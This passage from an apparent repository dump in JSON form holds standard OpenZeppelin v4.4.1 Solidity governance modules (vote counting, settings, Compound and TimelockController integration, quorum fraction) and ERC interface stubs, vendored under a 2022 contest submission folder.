_proposalDetails[proposalId].receipts[account].hasVoted;\n    }\n\n    /**\n     * @dev See {Governor-_quorumReached}. In this module, only forVotes count toward the quorum.\n     */\n    function _quorumReached(uint256 proposalId) internal view virtual override returns (bool) {\n        ProposalDetails storage details = _proposalDetails[proposalId];\n        return quorum(proposalSnapshot(proposalId)) <= details.forVotes;\n    }\n\n    /**\n     * @dev See {Governor-_voteSucceeded}. In this module, the forVotes must be scritly over the againstVotes.\n     */\n    function _voteSucceeded(uint256 proposalId) internal view virtual override returns (bool) {\n        ProposalDetails storage details = _proposalDetails[proposalId];\n        return details.forVotes > details.againstVotes;\n    }\n\n    /**\n     * @dev See {Governor-_countVote}. In this module, the support follows Governor Bravo.\n     */\n    function _countVote(\n        uint256 proposalId,\n        address account,\n        uint8 support,\n        uint256 weight\n    ) internal virtual override {\n        ProposalDetails storage details = _proposalDetails[proposalId];\n        Receipt storage receipt = details.receipts[account];\n\n        require(!receipt.hasVoted, \"GovernorCompatibilityBravo: vote already cast\");\n        receipt.hasVoted = true;\n        receipt.support = support;\n        receipt.votes = SafeCast.toUint96(weight);\n\n        if (support == uint8(VoteType.Against)) {\n            details.againstVotes += weight;\n        } else if (support == uint8(VoteType.For)) {\n            details.forVotes += weight;\n        } else if (support == uint8(VoteType.Abstain)) {\n            details.abstainVotes += weight;\n        } else {\n            revert(\"GovernorCompatibilityBravo: invalid vote type\");\n        }\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/governance/compatibility/IGovernorCompatibilityBravo.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (governance/compatibility/IGovernorCompatibilityBravo.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IGovernor.sol\";\n\n/**\n * @dev Interface extension that adds missing functions to the {Governor} core to provide `GovernorBravo` compatibility.\n *\n * _Available since v4.3._\n */\nabstract contract IGovernorCompatibilityBravo is IGovernor {\n    /**\n     * @dev Proposal structure from Compound Governor Bravo. Not actually used by the compatibility layer, as\n     * {{proposal}} returns a very different structure.\n     */\n    struct Proposal {\n        uint256 id;\n        address proposer;\n        uint256 eta;\n        address[] targets;\n        uint256[] values;\n        string[] signatures;\n        bytes[] calldatas;\n        uint256 startBlock;\n        uint256 endBlock;\n        uint256 forVotes;\n        uint256 againstVotes;\n        uint256 abstainVotes;\n        bool canceled;\n        bool executed;\n        mapping(address => Receipt) receipts;\n    }\n\n    /**\n     * @dev Receipt structure from Compound Governor Bravo\n     */\n    struct Receipt {\n        bool hasVoted;\n        uint8 support;\n        uint96 votes;\n    }\n\n    /**\n     * @dev Part of the Governor Bravo's interface.\n     */\n    function quorumVotes() public view virtual returns (uint256);\n\n    /**\n     * @dev Part of the Governor Bravo's interface: _\"The official record of all proposals ever proposed\"_.\n     */\n    function proposals(uint256)\n        public\n        view\n        virtual\n        returns (\n            uint256 id,\n            address proposer,\n            uint256 eta,\n            uint256 startBlock,\n            uint256 endBlock,\n            uint256 forVotes,\n            uint256 againstVotes,\n            uint256 abstainVotes,\n            bool canceled,\n            bool executed\n        );\n\n    /**\n     * @dev Part of the Governor Bravo's interface: _\"Function used to propose a new proposal\"_.\n     */\n    function propose(\n        address[] memory targets,\n        uint256[] memory values,\n        string[] memory signatures,\n        bytes[] memory calldatas,\n        string memory description\n    ) public virtual returns (uint256);\n\n    /**\n     * @dev Part of the Governor Bravo's interface: _\"Queues a proposal of state succeeded\"_.\n     */\n    function queue(uint256 proposalId) public virtual;\n\n    /**\n     * @dev Part of the Governor Bravo's interface: _\"Executes a queued proposal if eta has passed\"_.\n     */\n    function execute(uint256 proposalId) public payable virtual;\n\n    /**\n     * @dev Cancels a proposal only if sender is the proposer, or proposer delegates dropped below proposal threshold.\n     */\n    function cancel(uint256 proposalId) public virtual;\n\n    /**\n     * @dev Part of the Governor Bravo's interface: _\"Gets actions of a proposal\"_.\n     */\n    function getActions(uint256 proposalId)\n        public\n        view\n        virtual\n        returns (\n            address[] memory targets,\n            uint256[] memory values,\n            string[] memory signatures,\n            bytes[] memory calldatas\n        );\n\n    /**\n     * @dev Part of the Governor Bravo's interface: _\"Gets the receipt for a voter on a given proposal\"_.\n     */\n    function getReceipt(uint256 proposalId, address voter) public view virtual returns (Receipt memory);\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/governance/extensions/GovernorCountingSimple.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (governance/extensions/GovernorCountingSimple.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../Governor.sol\";\n\n/**\n * @dev Extension of {Governor} for simple, 3 options, vote counting.\n *\n * _Available since v4.3._\n */\nabstract contract GovernorCountingSimple is Governor {\n    /**\n     * @dev Supported vote types. Matches Governor Bravo ordering.\n     */\n    enum VoteType {\n        Against,\n        For,\n        Abstain\n    }\n\n    struct ProposalVote {\n        uint256 againstVotes;\n        uint256 forVotes;\n        uint256 abstainVotes;\n        mapping(address => bool) hasVoted;\n    }\n\n    mapping(uint256 => ProposalVote) private _proposalVotes;\n\n    /**\n     * @dev See {IGovernor-COUNTING_MODE}.\n     */\n    // solhint-disable-next-line func-name-mixedcase\n    function COUNTING_MODE() public pure virtual override returns (string memory) {\n        return \"support=bravo&quorum=for,abstain\";\n    }\n\n    /**\n     * @dev See {IGovernor-hasVoted}.\n     */\n    function hasVoted(uint256 proposalId, address account) public view virtual override returns (bool) {\n        return _proposalVotes[proposalId].hasVoted[account];\n    }\n\n    /**\n     * @dev Accessor to the internal vote counts.\n     */\n    function proposalVotes(uint256 proposalId)\n        public\n        view\n        virtual\n        returns (\n            uint256 againstVotes,\n            uint256 forVotes,\n            uint256 abstainVotes\n        )\n    {\n        ProposalVote storage proposalvote = _proposalVotes[proposalId];\n        return (proposalvote.againstVotes, proposalvote.forVotes, proposalvote.abstainVotes);\n    }\n\n    /**\n     * @dev See {Governor-_quorumReached}.\n     */\n    function _quorumReached(uint256 proposalId) internal view virtual override returns (bool) {\n        ProposalVote storage proposalvote = _proposalVotes[proposalId];\n\n        return quorum(proposalSnapshot(proposalId)) <= proposalvote.forVotes + proposalvote.abstainVotes;\n    }\n\n    /**\n     * @dev See {Governor-_voteSucceeded}. In this module, the forVotes must be strictly over the againstVotes.\n     */\n    function _voteSucceeded(uint256 proposalId) internal view virtual override returns (bool) {\n        ProposalVote storage proposalvote = _proposalVotes[proposalId];\n\n        return proposalvote.forVotes > proposalvote.againstVotes;\n    }\n\n    /**\n     * @dev See {Governor-_countVote}. In this module, the support follows the `VoteType` enum (from Governor Bravo).\n     */\n    function _countVote(\n        uint256 proposalId,\n        address account,\n        uint8 support,\n        uint256 weight\n    ) internal virtual override {\n        ProposalVote storage proposalvote = _proposalVotes[proposalId];\n\n        require(!proposalvote.hasVoted[account], \"GovernorVotingSimple: vote already cast\");\n        proposalvote.hasVoted[account] = true;\n\n        if (support == uint8(VoteType.Against)) {\n            proposalvote.againstVotes += weight;\n        } else if (support == uint8(VoteType.For)) {\n            proposalvote.forVotes += weight;\n        } else if (support == uint8(VoteType.Abstain)) {\n            proposalvote.abstainVotes += weight;\n        } else {\n            revert(\"GovernorVotingSimple: invalid value for enum VoteType\");\n        }\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/governance/extensions/GovernorProposalThreshold.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (governance/extensions/GovernorProposalThreshold.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../Governor.sol\";\n\n/**\n * @dev Extension of {Governor} for proposal restriction to token holders with a minimum balance.\n *\n * _Available since v4.3._\n * _Deprecated since v4.4._\n */\nabstract contract GovernorProposalThreshold is Governor {\n    function propose(\n        address[] memory targets,\n        uint256[] memory values,\n        bytes[] memory calldatas,\n        string memory description\n    ) public virtual override returns (uint256) {\n        return super.propose(targets, values, calldatas, description);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/governance/extensions/GovernorSettings.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (governance/extensions/GovernorSettings.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../Governor.sol\";\n\n/**\n * @dev Extension of {Governor} for settings updatable through governance.\n *\n * _Available since v4.4._\n */\nabstract contract GovernorSettings is Governor {\n    uint256 private _votingDelay;\n    uint256 private _votingPeriod;\n    uint256 private _proposalThreshold;\n\n    event VotingDelaySet(uint256 oldVotingDelay, uint256 newVotingDelay);\n    event VotingPeriodSet(uint256 oldVotingPeriod, uint256 newVotingPeriod);\n    event ProposalThresholdSet(uint256 oldProposalThreshold, uint256 newProposalThreshold);\n\n    /**\n     * @dev Initialize the governance parameters.\n     */\n    constructor(\n        uint256 initialVotingDelay,\n        uint256 initialVotingPeriod,\n        uint256 initialProposalThreshold\n    ) {\n        _setVotingDelay(initialVotingDelay);\n        _setVotingPeriod(initialVotingPeriod);\n        _setProposalThreshold(initialProposalThreshold);\n    }\n\n    /**\n     * @dev See {IGovernor-votingDelay}.\n     */\n    function votingDelay() public view virtual override returns (uint256) {\n        return _votingDelay;\n    }\n\n    /**\n     * @dev See {IGovernor-votingPeriod}.\n     */\n    function votingPeriod() public view virtual override returns (uint256) {\n        return _votingPeriod;\n    }\n\n    /**\n     * @dev See {Governor-proposalThreshold}.\n     */\n    function proposalThreshold() public view virtual override returns (uint256) {\n        return _proposalThreshold;\n    }\n\n    /**\n     * @dev Update the voting delay. This operation can only be performed through a governance proposal.\n     *\n     * Emits a {VotingDelaySet} event.\n     */\n    function setVotingDelay(uint256 newVotingDelay) public virtual onlyGovernance {\n        _setVotingDelay(newVotingDelay);\n    }\n\n    /**\n     * @dev Update the voting period. This operation can only be performed through a governance proposal.\n     *\n     * Emits a {VotingPeriodSet} event.\n     */\n    function setVotingPeriod(uint256 newVotingPeriod) public virtual onlyGovernance {\n        _setVotingPeriod(newVotingPeriod);\n    }\n\n    /**\n     * @dev Update the proposal threshold. This operation can only be performed through a governance proposal.\n     *\n     * Emits a {ProposalThresholdSet} event.\n     */\n    function setProposalThreshold(uint256 newProposalThreshold) public virtual onlyGovernance {\n        _setProposalThreshold(newProposalThreshold);\n    }\n\n    /**\n     * @dev Internal setter for the voting delay.\n     *\n     * Emits a {VotingDelaySet} event.\n     */\n    function _setVotingDelay(uint256 newVotingDelay) internal virtual {\n        emit VotingDelaySet(_votingDelay, newVotingDelay);\n        _votingDelay = newVotingDelay;\n    }\n\n    /**\n     * @dev Internal setter for the voting period.\n     *\n     * Emits a {VotingPeriodSet} event.\n     */\n    function _setVotingPeriod(uint256 newVotingPeriod) internal virtual {\n        // voting period must be at least one block long\n        require(newVotingPeriod > 0, \"GovernorSettings: voting period too low\");\n        emit VotingPeriodSet(_votingPeriod, newVotingPeriod);\n        _votingPeriod = newVotingPeriod;\n    }\n\n    /**\n     * @dev Internal setter for the proposal threshold.\n     *\n     * Emits a {ProposalThresholdSet} event.\n     */\n    function _setProposalThreshold(uint256 newProposalThreshold) internal virtual {\n        emit ProposalThresholdSet(_proposalThreshold, newProposalThreshold);\n        _proposalThreshold = newProposalThreshold;\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/governance/extensions/GovernorTimelockCompound.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (governance/extensions/GovernorTimelockCompound.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IGovernorTimelock.sol\";\nimport \"../Governor.sol\";\nimport \"../../utils/math/SafeCast.sol\";\n\n/**\n * https://github.com/compound-finance/compound-protocol/blob/master/contracts/Timelock.sol[Compound's timelock] interface\n */\ninterface ICompoundTimelock {\n    receive() external payable;\n\n    // solhint-disable-next-line func-name-mixedcase\n    function GRACE_PERIOD() external view returns (uint256);\n\n    // solhint-disable-next-line func-name-mixedcase\n    function MINIMUM_DELAY() external view returns (uint256);\n\n    // solhint-disable-next-line func-name-mixedcase\n    function MAXIMUM_DELAY() external view returns (uint256);\n\n    function admin() external view returns (address);\n\n    function pendingAdmin() external view returns (address);\n\n    function delay() external view returns (uint256);\n\n    function queuedTransactions(bytes32) external view returns (bool);\n\n    function setDelay(uint256) external;\n\n    function acceptAdmin() external;\n\n    function setPendingAdmin(address) external;\n\n    function queueTransaction(\n        address target,\n        uint256 value,\n        string memory signature,\n        bytes memory data,\n        uint256 eta\n    ) external returns (bytes32);\n\n    function cancelTransaction(\n        address target,\n        uint256 value,\n        string memory signature,\n        bytes memory data,\n        uint256 eta\n    ) external;\n\n    function executeTransaction(\n        address target,\n        uint256 value,\n        string memory signature,\n        bytes memory data,\n        uint256 eta\n    ) external payable returns (bytes memory);\n}\n\n/**\n * @dev Extension of {Governor} that binds the execution process to a Compound Timelock. This adds a delay, enforced by\n * the external timelock to all successful proposal (in addition to the voting duration). The {Governor} needs to be\n * the admin of the timelock for any operation to be performed. A public, unrestricted,\n * {GovernorTimelockCompound-__acceptAdmin} is available to accept ownership of the timelock.\n *\n * Using this model means the proposal will be operated by the {TimelockController} and not by the {Governor}. Thus,\n * the assets and permissions must be attached to the {TimelockController}. Any asset sent to the {Governor} will be\n * inaccessible.\n *\n * _Available since v4.3._\n */\nabstract contract GovernorTimelockCompound is IGovernorTimelock, Governor {\n    using SafeCast for uint256;\n    using Timers for Timers.Timestamp;\n\n    struct ProposalTimelock {\n        Timers.Timestamp timer;\n    }\n\n    ICompoundTimelock private _timelock;\n\n    mapping(uint256 => ProposalTimelock) private _proposalTimelocks;\n\n    /**\n     * @dev Emitted when the timelock controller used for proposal execution is modified.\n     */\n    event TimelockChange(address oldTimelock, address newTimelock);\n\n    /**\n     * @dev Set the timelock.\n     */\n    constructor(ICompoundTimelock timelockAddress) {\n        _updateTimelock(timelockAddress);\n    }\n\n    /**\n     * @dev See {IERC165-supportsInterface}.\n     */\n    function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, Governor) returns (bool) {\n        return interfaceId == type(IGovernorTimelock).interfaceId || super.supportsInterface(interfaceId);\n    }\n\n    /**\n     * @dev Overriden version of the {Governor-state} function with added support for the `Queued` and `Expired` status.\n     */\n    function state(uint256 proposalId) public view virtual override(IGovernor, Governor) returns (ProposalState) {\n        ProposalState status = super.state(proposalId);\n\n        if (status != ProposalState.Succeeded) {\n            return status;\n        }\n\n        uint256 eta = proposalEta(proposalId);\n        if (eta == 0) {\n            return status;\n        } else if (block.timestamp >= eta + _timelock.GRACE_PERIOD()) {\n            return ProposalState.Expired;\n        } else {\n            return ProposalState.Queued;\n        }\n    }\n\n    /**\n     * @dev Public accessor to check the address of the timelock\n     */\n    function timelock() public view virtual override returns (address) {\n        return address(_timelock);\n    }\n\n    /**\n     * @dev Public accessor to check the eta of a queued proposal\n     */\n    function proposalEta(uint256 proposalId) public view virtual override returns (uint256) {\n        return _proposalTimelocks[proposalId].timer.getDeadline();\n    }\n\n    /**\n     * @dev Function to queue a proposal to the timelock.\n     */\n    function queue(\n        address[] memory targets,\n        uint256[] memory values,\n        bytes[] memory calldatas,\n        bytes32 descriptionHash\n    ) public virtual override returns (uint256) {\n        uint256 proposalId = hashProposal(targets, values, calldatas, descriptionHash);\n\n        require(state(proposalId) == ProposalState.Succeeded, \"Governor: proposal not successful\");\n\n        uint256 eta = block.timestamp + _timelock.delay();\n        _proposalTimelocks[proposalId].timer.setDeadline(eta.toUint64());\n        for (uint256 i = 0; i < targets.length; ++i) {\n            require(\n                !_timelock.queuedTransactions(keccak256(abi.encode(targets[i], values[i], \"\", calldatas[i], eta))),\n                \"GovernorTimelockCompound: identical proposal action already queued\"\n            );\n            _timelock.queueTransaction(targets[i], values[i], \"\", calldatas[i], eta);\n        }\n\n        emit ProposalQueued(proposalId, eta);\n\n        return proposalId;\n    }\n\n    /**\n     * @dev Overriden execute function that run the already queued proposal through the timelock.\n     */\n    function _execute(\n        uint256 proposalId,\n        address[] memory targets,\n        uint256[] memory values,\n        bytes[] memory calldatas,\n        bytes32 /*descriptionHash*/\n    ) internal virtual override {\n        uint256 eta = proposalEta(proposalId);\n        require(eta > 0, \"GovernorTimelockCompound: proposal not yet queued\");\n        Address.sendValue(payable(_timelock), msg.value);\n        for (uint256 i = 0; i < targets.length; ++i) {\n            _timelock.executeTransaction(targets[i], values[i], \"\", calldatas[i], eta);\n        }\n    }\n\n    /**\n     * @dev Overriden version of the {Governor-_cancel} function to cancel the timelocked proposal if it as already\n     * been queued.\n     */\n    function _cancel(\n        address[] memory targets,\n        uint256[] memory values,\n        bytes[] memory calldatas,\n        bytes32 descriptionHash\n    ) internal virtual override returns (uint256) {\n        uint256 proposalId = super._cancel(targets, values, calldatas, descriptionHash);\n\n        uint256 eta = proposalEta(proposalId);\n        if (eta > 0) {\n            for (uint256 i = 0; i < targets.length; ++i) {\n                _timelock.cancelTransaction(targets[i], values[i], \"\", calldatas[i], eta);\n            }\n            _proposalTimelocks[proposalId].timer.reset();\n        }\n\n        return proposalId;\n    }\n\n    /**\n     * @dev Address through which the governor executes action. In this case, the timelock.\n     */\n    function _executor() internal view virtual override returns (address) {\n        return address(_timelock);\n    }\n\n    /**\n     * @dev Accept admin right over the timelock.\n     */\n    // solhint-disable-next-line private-vars-leading-underscore\n    function __acceptAdmin() public {\n        _timelock.acceptAdmin();\n    }\n\n    /**\n     * @dev Public endpoint to update the underlying timelock instance. Restricted to the timelock itself, so updates\n     * must be proposed, scheduled and executed using the {Governor} workflow.\n     *\n     * For security reason, the timelock must be handed over to another admin before setting up a new one. The two\n     * operations (hand over the timelock) and do the update can be batched in a single proposal.\n     *\n     * Note that if the timelock admin has been handed over in a previous operation, we refuse updates made through the\n     * timelock if admin of the timelock has already been accepted and the operation is executed outside the scope of\n     * governance.\n     */\n    function updateTimelock(ICompoundTimelock newTimelock) external virtual onlyGovernance {\n        _updateTimelock(newTimelock);\n    }\n\n    function _updateTimelock(ICompoundTimelock newTimelock) private {\n        emit TimelockChange(address(_timelock), address(newTimelock));\n        _timelock = newTimelock;\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/governance/extensions/GovernorTimelockControl.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (governance/extensions/GovernorTimelockControl.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IGovernorTimelock.sol\";\nimport \"../Governor.sol\";\nimport \"../TimelockController.sol\";\n\n/**\n * @dev Extension of {Governor} that binds the execution process to an instance of {TimelockController}. This adds a\n * delay, enforced by the {TimelockController} to all successful proposal (in addition to the voting duration). The\n * {Governor} needs the proposer (an ideally the executor) roles for the {Governor} to work properly.\n *\n * Using this model means the proposal will be operated by the {TimelockController} and not by the {Governor}. Thus,\n * the assets and permissions must be attached to the {TimelockController}. Any asset sent to the {Governor} will be\n * inaccessible.\n *\n * _Available since v4.3._\n */\nabstract contract GovernorTimelockControl is IGovernorTimelock, Governor {\n    TimelockController private _timelock;\n    mapping(uint256 => bytes32) private _timelockIds;\n\n    /**\n     * @dev Emitted when the timelock controller used for proposal execution is modified.\n     */\n    event TimelockChange(address oldTimelock, address newTimelock);\n\n    /**\n     * @dev Set the timelock.\n     */\n    constructor(TimelockController timelockAddress) {\n        _updateTimelock(timelockAddress);\n    }\n\n    /**\n     * @dev See {IERC165-supportsInterface}.\n     */\n    function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, Governor) returns (bool) {\n        return interfaceId == type(IGovernorTimelock).interfaceId || super.supportsInterface(interfaceId);\n    }\n\n    /**\n     * @dev Overriden version of the {Governor-state} function with added support for the `Queued` status.\n     */\n    function state(uint256 proposalId) public view virtual override(IGovernor, Governor) returns (ProposalState) {\n        ProposalState status = super.state(proposalId);\n\n        if (status != ProposalState.Succeeded) {\n            return status;\n        }\n\n        // core tracks execution, so we just have to check if successful proposal have been queued.\n        bytes32 queueid = _timelockIds[proposalId];\n        if (queueid == bytes32(0)) {\n            return status;\n        } else if (_timelock.isOperationDone(queueid)) {\n            return ProposalState.Executed;\n        } else {\n            return ProposalState.Queued;\n        }\n    }\n\n    /**\n     * @dev Public accessor to check the address of the timelock\n     */\n    function timelock() public view virtual override returns (address) {\n        return address(_timelock);\n    }\n\n    /**\n     * @dev Public accessor to check the eta of a queued proposal\n     */\n    function proposalEta(uint256 proposalId) public view virtual override returns (uint256) {\n        uint256 eta = _timelock.getTimestamp(_timelockIds[proposalId]);\n        return eta == 1 ? 0 : eta; // _DONE_TIMESTAMP (1) should be replaced with a 0 value\n    }\n\n    /**\n     * @dev Function to queue a proposal to the timelock.\n     */\n    function queue(\n        address[] memory targets,\n        uint256[] memory values,\n        bytes[] memory calldatas,\n        bytes32 descriptionHash\n    ) public virtual override returns (uint256) {\n        uint256 proposalId = hashProposal(targets, values, calldatas, descriptionHash);\n\n        require(state(proposalId) == ProposalState.Succeeded, \"Governor: proposal not successful\");\n\n        uint256 delay = _timelock.getMinDelay();\n        _timelockIds[proposalId] = _timelock.hashOperationBatch(targets, values, calldatas, 0, descriptionHash);\n        _timelock.scheduleBatch(targets, values, calldatas, 0, descriptionHash, delay);\n\n        emit ProposalQueued(proposalId, block.timestamp + delay);\n\n        return proposalId;\n    }\n\n    /**\n     * @dev Overriden execute function that run the already queued proposal through the timelock.\n     */\n    function _execute(\n        uint256, /* proposalId */\n        address[] memory targets,\n        uint256[] memory values,\n        bytes[] memory calldatas,\n        bytes32 descriptionHash\n    ) internal virtual override {\n        _timelock.executeBatch{value: msg.value}(targets, values, calldatas, 0, descriptionHash);\n    }\n\n    /**\n     * @dev Overriden version of the {Governor-_cancel} function to cancel the timelocked proposal if it as already\n     * been queued.\n     */\n    function _cancel(\n        address[] memory targets,\n        uint256[] memory values,\n        bytes[] memory calldatas,\n        bytes32 descriptionHash\n    ) internal virtual override returns (uint256) {\n        uint256 proposalId = super._cancel(targets, values, calldatas, descriptionHash);\n\n        if (_timelockIds[proposalId] != 0) {\n            _timelock.cancel(_timelockIds[proposalId]);\n            delete _timelockIds[proposalId];\n        }\n\n        return proposalId;\n    }\n\n    /**\n     * @dev Address through which the governor executes action. In this case, the timelock.\n     */\n    function _executor() internal view virtual override returns (address) {\n        return address(_timelock);\n    }\n\n    /**\n     * @dev Public endpoint to update the underlying timelock instance. Restricted to the timelock itself, so updates\n     * must be proposed, scheduled and executed using the {Governor} workflow.\n     */\n    function updateTimelock(TimelockController newTimelock) external virtual onlyGovernance {\n        _updateTimelock(newTimelock);\n    }\n\n    function _updateTimelock(TimelockController newTimelock) private {\n        emit TimelockChange(address(_timelock), address(newTimelock));\n        _timelock = newTimelock;\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/governance/extensions/GovernorVotes.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (governance/extensions/GovernorVotes.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../Governor.sol\";\nimport \"../../token/ERC20/extensions/ERC20Votes.sol\";\nimport \"../../utils/math/Math.sol\";\n\n/**\n * @dev Extension of {Governor} for voting weight extraction from an {ERC20Votes} token.\n *\n * _Available since v4.3._\n */\nabstract contract GovernorVotes is Governor {\n    ERC20Votes public immutable token;\n\n    constructor(ERC20Votes tokenAddress) {\n        token = tokenAddress;\n    }\n\n    /**\n     * Read the voting weight from the token's built in snapshot mechanism (see {IGovernor-getVotes}).\n     */\n    function getVotes(address account, uint256 blockNumber) public view virtual override returns (uint256) {\n        return token.getPastVotes(account, blockNumber);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/governance/extensions/GovernorVotesComp.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (governance/extensions/GovernorVotesComp.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../Governor.sol\";\nimport \"../../token/ERC20/extensions/ERC20VotesComp.sol\";\n\n/**\n * @dev Extension of {Governor} for voting weight extraction from a Comp token.\n *\n * _Available since v4.3._\n */\nabstract contract GovernorVotesComp is Governor {\n    ERC20VotesComp public immutable token;\n\n    constructor(ERC20VotesComp token_) {\n        token = token_;\n    }\n\n    /**\n     * Read the voting weight from the token's built in snapshot mechanism (see {IGovernor-getVotes}).\n     */\n    function getVotes(address account, uint256 blockNumber) public view virtual override returns (uint256) {\n        return token.getPriorVotes(account, blockNumber);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/governance/extensions/GovernorVotesQuorumFraction.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (governance/extensions/GovernorVotesQuorumFraction.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./GovernorVotes.sol\";\n\n/**\n * @dev Extension of {Governor} for voting weight extraction from an {ERC20Votes} token and a quorum expressed as a\n * fraction of the total supply.\n *\n * _Available since v4.3._\n */\nabstract contract GovernorVotesQuorumFraction is GovernorVotes {\n    uint256 private _quorumNumerator;\n\n    event QuorumNumeratorUpdated(uint256 oldQuorumNumerator, uint256 newQuorumNumerator);\n\n    constructor(uint256 quorumNumeratorValue) {\n        _updateQuorumNumerator(quorumNumeratorValue);\n    }\n\n    function quorumNumerator() public view virtual returns (uint256) {\n        return _quorumNumerator;\n    }\n\n    function quorumDenominator() public view virtual returns (uint256) {\n        return 100;\n    }\n\n    function quorum(uint256 blockNumber) public view virtual override returns (uint256) {\n        return (token.getPastTotalSupply(blockNumber) * quorumNumerator()) / quorumDenominator();\n    }\n\n    function updateQuorumNumerator(uint256 newQuorumNumerator) external virtual onlyGovernance {\n        _updateQuorumNumerator(newQuorumNumerator);\n    }\n\n    function _updateQuorumNumerator(uint256 newQuorumNumerator) internal virtual {\n        require(\n            newQuorumNumerator <= quorumDenominator(),\n            \"GovernorVotesQuorumFraction: quorumNumerator over quorumDenominator\"\n        );\n\n        uint256 oldQuorumNumerator = _quorumNumerator;\n        _quorumNumerator = newQuorumNumerator;\n\n        emit QuorumNumeratorUpdated(oldQuorumNumerator, newQuorumNumerator);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/governance/extensions/IGovernorTimelock.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (governance/extensions/IGovernorTimelock.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IGovernor.sol\";\n\n/**\n * @dev Extension of the {IGovernor} for timelock supporting modules.\n *\n * _Available since v4.3._\n */\nabstract contract IGovernorTimelock is IGovernor {\n    event ProposalQueued(uint256 proposalId, uint256 eta);\n\n    function timelock() public view virtual returns (address);\n\n    function proposalEta(uint256 proposalId) public view virtual returns (uint256);\n\n    function queue(\n        address[] memory targets,\n        uint256[] memory values,\n        bytes[] memory calldatas,\n        bytes32 descriptionHash\n    ) public virtual returns (uint256 proposalId);\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/interfaces/IERC1155.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (interfaces/IERC1155.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../token/ERC1155/IERC1155.sol\";\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/interfaces/IERC1155MetadataURI.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (interfaces/IERC1155MetadataURI.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../token/ERC1155/extensions/IERC1155MetadataURI.sol\";\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/interfaces/IERC1155Receiver.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (interfaces/IERC1155Receiver.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../token/ERC1155/IERC1155Receiver.sol\";\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/interfaces/IERC1271.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (interfaces/IERC1271.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC1271 standard signature validation method for\n * contracts as defined in https://eips.ethereum.org/EIPS/eip-1271[ERC-1271].\n *\n * _Available since v4.1._\n */\ninterface IERC1271 {\n    /**\n     * @dev Should return whether the signature provided is valid for the provided data\n     * @param hash      Hash of the data to be signed\n     * @param signature Signature byte array associated with _data\n     */\n    function isValidSignature(bytes32 hash, bytes memory signature) external view returns (bytes4 magicValue);\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/interfaces/IERC1363.sol",
